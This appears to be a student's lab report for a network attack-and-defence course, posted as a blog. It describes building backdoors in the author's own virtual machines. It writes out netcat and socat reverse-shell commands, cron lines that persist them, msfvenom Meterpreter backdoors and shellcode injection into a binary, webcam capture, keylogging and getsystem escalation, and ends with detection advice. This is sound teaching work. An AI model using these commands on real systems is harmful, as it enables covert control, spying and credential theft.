20242307 2025-2026-1 《网络与系统攻防技术》实验二实验报告

20242307 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1. 基础知识

后门,本质上是一段绕过正常认证机制、允许攻击者远程控制目标系统的程序。要理解并完成本次后门实验,需要掌握以下基础知识:

1.1 正连接与反弹连接

  • 正向连接:攻击者主动连接目标主机的特定端口。当目标主机在防火墙后或使用了NAT时,该方法经常失败。
  • 反弹连接:目标主机上的后门程序主动向外连接攻击者的机器。由于防火墙通常只拦截入站流量,不拦截出站流量,反弹连接穿透性极强,是当前主流后门采用的通信方式。

1.2 定时任务与持久化

  • Linux Cron:Linux下的定时任务守护进程。通过编辑crontab -e,可以让目标机在指定的时间周期(如每分钟)自动执行指定命令(如反弹Shell),从而实现后门的持久化驻留。
  • Windows 任务计划 (schtasks):Windows下用于定时或触发执行的机制,常被用于设置开机自启或登录时自动执行后门。

1.3 常见后门工具

  • netcat (nc/ncat):被称为“网络瑞士军刀”,可以用于建立TCP/UDP连接。通过-e参数(或-c),可以将本地Shell与网络连接绑定,形成简易后门。
  • socat:netcat的增强版,不仅支持TCP/UDP,还支持SSL加密、PTY分配等,常用于更复杂的网络转发和后门连接。
  • MSFvenom & Meterpreter:Metasploit框架中的载荷生成器和高级后门。Meterpreter运行在内存中,功能极其强大,支持文件操作、摄像头调用、键盘记录、提权等,且难以被传统杀毒软件发现。

1.4 缓冲区溢出与Shellcode注入

在实验一的基础上,除了手动构造Payload跳转到现成函数,还可以利用msfvenom生成一段特定的反弹连接机器码(Shellcode)。再利用-x参数将这段Shellcode注入到可执行文件(如pwn1)的入口点,或者通过溢出覆盖返回地址来执行,从而获得反弹会话。


2. 实验内容

本次实验围绕后门原理展开,主要包含以下内容:

  1. 使用netcat获取主机操作Shell,并通过Kali的cron启动定时任务。
  2. 使用socat获取主机操作Shell,结合cron实现任务计划启动。
  3. 使用MSF meterpreter生成可执行文件后门,传送到Windows虚拟机并运行,获取Shell。
  4. 使用MSF生成带高级功能的后门,获取目标主机的摄像头照片、击键记录,并尝试提权。
  5. 使用MSF生成shellcode,注入到实验一中的pwn1程序,获取反弹连接Shell。

3. 实验过程

3.0 基础准备

3.0.1 确认靶机与攻击机

出于安全性考虑,本次实验尽可能保证物理机(即本主机)不被攻击,故任务1.2采取windows主机攻击kali虚拟机,对于实验3.4,由于kali中已有所需软件MSF meterpreter,同时由于之前本机电脑有配置服务器需求,本人已拥有windows虚拟机,故结合安全性考虑,在本次实验任务3.4中,我将kali虚拟机作为攻击机,将windows虚拟机作为靶机。最后对于任务5,由于需要利用MSF生成攻击代码,故我直接将kali虚拟机同时作为攻击机和靶机,本次实验不同任务攻击机与靶机见下表。

任务 攻击机 靶机
1 Windows主机 Kali虚拟机
2 Windows主机 Kali虚拟机
3 Kali虚拟机 Windows虚拟机
4 Kali虚拟机 Windows虚拟机
5 Kali虚拟机 Kali虚拟机

3.0.2 确认主机、kali虚拟机、windows虚拟机ip

由于本次实验涉及payload(LHOST)和监听器配置,需要预先获取主机、kali虚拟机、windows虚拟机ip,使用命令ipconfig即可

确定ip——主机与kali虚拟机

确定ip——kali虚拟机与windows虚拟机
如图,已知主机、kali虚拟机、windows虚拟机ip如下:

主机ip windows虚拟机ip kali虚拟机ip
192.168.94.1 192.168.94.139 192.168.94.135

3.0.3 windows主机与虚拟机安装软件

按照实验要求,本次应在windows端安装ncat以及socat软件,打开实验指导书附件网址,找到对应两个软件,安装到C盘下tools文件夹即可,如图:

附件gitee——软件下载

主机tools文件夹

虚拟机tools文件夹

3.0.4 windows虚拟机配置摄像头

由于任务四需要拍照,故应实现配置好虚拟机摄像头,如图:

windows虚拟机硬件配置

3.0.5 任务5文件准备

任务5需要执行pwn1文件,故事先应确保其拥有可执行权限,栈执行已开启,地址随机化已关闭,如图:

任务5文件准备

3.1 任务一:使用netcat获取Shell及cron持久化

实验环境:Windows物理机(攻击机)vsKali虚拟机(靶机)

  1. 在Windows物理机C:\tools目录下运行ncat.exe -l -p 8888开启监听。
  2. 在Kali终端中手动执行nc 192.168.94.1 8888 -e /bin/sh,反弹成功,输入whoami返回kali。

任务1——步骤1.2

  1. 在Kali中执行crontab -e,添加定时任务:*/1 * * * * /bin/nc 192.168.94.1 8888 -e /bin/sh。
  2. Windows端保持监听,Kali端等待约1分钟,Windows自动弹出Kali的Shell。

crontab -l命令

crontab -l输出

任务1结果

3.2 任务二:使用socat获取Shell及任务计划

实验环境:Windows物理机(攻击机)vsKali虚拟机(靶机)

  1. 在Windows物理机运行ncat.exe -l -p 9999开启监听(注:由于Windows下Cygwin版socat的EXEC功能存在兼容性问题,此处监听端改用ncat,socat作为反弹端)。
  2. 在Kali终端手动执行socat TCP:192.168.94.1:9999 EXEC:/bin/sh,成功在Windows端获得Kali的Shell。

任务2——步骤1.2

  1. 在Kali终端执行crontab -e,添加任务计划:*/1 * * * * /usr/bin/socat TCP:192.168.94.1:9999 EXEC:/bin/sh。
  2. Windows端重新监听9999端口,等待1分钟,成功接收自动反弹的Shell。

任务2查询文件指令

任务2文件修改后

任务2结果

3.3 任务三:MSF生成后门并获取Windows虚拟机Shell

实验环境:Kali虚拟机(攻击机,192.168.94.139)vsWindows虚拟机(靶机,192.168.94.135)

  1. 在Kali端执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.94.139 LPORT=443 -f exe -o 20242307_meter_backdoor.exe生成后门。

任务3kali虚拟机成功生成后门

  1. 在Kali端启动msfconsole,使用exploit/multi/handler模块,设置对应Payload和IP端口,执行exploit -j后台监听。

任务3handler监听已启动

  1. 在Kali开启HTTP服务,Windows虚拟机通过curl下载后门文件。

任务3后门植入准备

任务3靶机下载后门

  1. 关闭Windows Defender及防火墙,运行后门。在Kali msfconsole中执行sessions -l查看到会话并进入,执行sysinfo和getuid。

任务3启动后门

任务3

3.4 任务四:获取摄像头、击键并提权

实验环境:Kali虚拟机(攻击机) vs Windows虚拟机(靶机)

  1. 用msfvenom生成端口为4444的20242307_meter_spy.exe后门,并重复任务三的步骤传至Windows虚拟机运行,获取meterpreter会话。
  2. 摄像头操作:在meterpreter中执行webcam_list查看设备,执行webcam_snap拍照。照片自动保存到Kali中。

任务4准备植入后门

任务4下载安装运行后门

  1. 键盘记录:执行keyscan_start,在Windows虚拟机的记事本中输入文字,随后在Kali执行keyscan_dump抓取击键记录,最后执行keyscan_stop停止。
  2. 提权尝试:在meterpreter中执行getsystem,显示...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)),提权成功。

任务4

3.5 任务五:MSF生成shellcode注入pwn1

实验环境:Kali虚拟机(自身反弹至自身)

  1. 修复msfvenom的bug:编辑/usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb,在函数to_linux_x86_custom_elf的赋值语句后补上返回值elf。

任务5改bug

  1. 生成注入文件:在Kali执行msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.94.139 LPORT=8888 -x pwn1 -f elf -o 20242307_pwn1012。使用readelf -lW确认其LOAD段权限变为RWE。

任务5注入pwn1文件

  1. 在Kali开启multi/handler监听8888端口。
  2. 运行./20242307_pwn1012,msfconsole成功收到meterpreter会话。输入sysinfo和getuid验证。

任务5


4. 问题及解决方案

  • 问题1:实验二中,由于Windows系统下的socat(Cygwin版本)在执行EXEC:cmd.exe时出现管道错误,导致任务2无法完全按照“Windows开socat监听”进行。
  • 问题1解决方案:灵活调整了工具,任务2的Windows监听端改为使用更稳定的ncat,Kali端反弹使用socat,成功绕过了工具的兼容性缺陷,完成了socat的使用及任务计划配置。
  • 问题2:实验三中,将后门文件下载到Windows虚拟机时,Edge浏览器强制拦截未签名的exe文件,下载后只留下.crdownload临时文件。
  • 问题2解决方案:放弃浏览器下载,改用Windows自带的curl -o命令行工具,成功绕过浏览器的安全拦截,完整下载了7168字节的后门程序。
  • 问题3:任务五中执行注入命令后,最初生成的文件只有123字节,无法运行。且即使修复后,文件大小为6948字节,与要求的7418字节不一致。
  • 问题3解决方案:经排查,这是msfvenom工具版本的bug。按照同学给出的修复方法,修改了x86.rb源代码补上返回值。关于字节差异,通过readelf和cmp比对发现,文件小了470字节。但经过如图所示的验证

file上

file下

版本
发现程序的入口点、Section Header完全一致,且修改了124个字节,栈可执行标志RWE成功打开。运行该文件后成功反弹了会话,证明功能完全正常,字节差异可能是版本打包策略不同导致。

  • 问题4:实验一中做任务三时,直接使用GDB内的地址去运行Payload,导致栈布局不一致,报illegal hardware instruction崩溃。
  • 问题4解决方案:改为采用“两个终端配合”的办法,一个终端挂起程序,另一个用gdb -p附加并读取真实的栈布局,获取了绝对准确的地址后再进行注入。

5. 后门原理问答

经过询问AI(DeepSeek),我将指导书中四个问题答案总结如下
(1)例举你能想到的一个后门进入到你系统中的可能方式?
钓鱼邮件/社工:攻击者伪装成合法机构发送带有恶意附件(如带有宏病毒的Word文档)或链接的邮件,诱导用户点击运行,从而植入后门。
供应链攻击:下载了被黑客篡改过的第三方软件安装包或开源组件(如xz utils后门事件)。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows:注册表启动项(如HKCU\Software\Microsoft\Windows\CurrentVersion\Run)、Windows任务计划程序(schtasks)、开机启动文件夹、注册为系统服务。
  • Linux:Cron定时任务(crontab -e)、Systemd服务配置、修改~/.bashrc等Shell配置文件、写入SSH的authorized_keys实现免密登录。

(3)Meterpreter有哪些给你映像深刻的功能?
最深刻的是它的无文件执行与内存驻留特性。通过migrate命令可以将Meterpreter会话迁移到系统自带的进程(如explorer.exe)中,即使受害用户关闭了最初运行的木马程序,控制权也不会丢失。另外,webcam_snap和keyscan_dump能在受害者毫无察觉的情况下获取摄像头隐私和键盘密码,直观感受到了后门的巨大威胁。

(4)如何发现自己有系统有没有被安装后门?

  • 查网络:使用netstat -ano或ss -tlnp查看是否有可疑的对外ESTABLISHED连接或异常监听端口。
  • 查启动项:Windows使用Sysinternals的Autoruns全盘扫描启动项;Linux使用crontab -l查定时任务、systemctl list-units查服务。
  • 查异常账户:检查Linux的~/.ssh/authorized_keys是否有陌生公钥,或排查是否有隐藏的特权用户。
  • 使用杀毒软件或rkhunter等Rootkit查杀工具进行扫描。

6. 学习感悟与思考

这次关于后门的实验,带给我的震撼比实验一更深。实验一是在“破坏”程序本身,而实验二则是真真切切地在“控制”一台机器。

亲手用netcat和cron写下几行命令,就能让一台虚拟机定时向我的物理机“主动投诚”,交出控制权。这让我彻底理解了“反弹连接”在穿透防火墙时的可怕之处——比起防御外部主动发起的攻击,防御从内部主动外连的流量要困难得多。

在任务三和任务四中,通过msfvenom生成的后门,配合Meterpreter的强大功能,我看到了黑客视角下目标机器的透明化。无论是获取摄像头照片、记录击键密码,还是利用getsystem进行提权,都在鼠标点击和几行命令间完成。这也让我意识到,平时在物理机上随意关闭杀毒软件、运行来路不明的exe文件,是多么危险的举动。

任务五的过程虽然曲折(经历了GDB地址错位、msfvenom版本bug等),但最终成功生成注入版pwn1并拿到反弹Shell时,非常有成就感。这也让我明白,攻防实战不仅需要扎实的底层汇编和漏洞基础,更需要耐心去排查环境差异和工具bug。

总之,这次实验不仅是一次技术实践,更是一堂深刻的安全意识课。我们不仅要学会如何“放”后门,更要懂得如何从网络连接、系统机制中去“拔”后门。


7. 参考资料

posted @ 2026-10-17 16:29  叶十口  阅读(8)  评论(0)    收藏  举报